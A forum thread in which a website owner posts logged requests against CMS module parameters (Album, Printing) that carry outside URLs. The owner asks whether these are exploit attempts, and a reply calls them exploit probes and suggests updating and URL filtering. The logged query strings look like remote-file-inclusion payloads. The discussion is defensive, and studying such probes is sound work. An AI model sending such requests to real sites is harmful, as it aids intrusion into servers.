Is someone attempting an exploit?

[SuperScorp]

I run a counter/tracking script on my site and on reviewing the logs, there are a large number (150+) of entries from several hosts in the format:

/index.php?mact=Album,m5,default,1&
m5albumid=http%3A%2F%2Fwww.northfans.ch%2Fforum%2Fadmin%2Fsettings%2Fgucor%2Fujusu%2F&
amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;m5returnid=29&
amp;amp;amp;amp;amp;amp;amp;amp;amp;page=29

/index.php?mact=Printing,m5,printpage,1&m5showbutton=http%3A%2F%2Fwww.vacacionalhouse.com
%2Fen%2Fimg%2Fvohe%2Fseyon%2F&m5script=1&
m5returnid=22&page=22

mact is always album or printing and the url in the string is always different.
Is someone trying to get in through an exploit? The code is pretty specific but just returns the home page if entered.

Anything to worry about?

[alby]

Is someone trying to get in through an exploit? The code is pretty specific but just returns the home page if entered.

These are attempts to find a possible exploit.
Keep updated to the latest version and you can protect with URL Filtering

Alby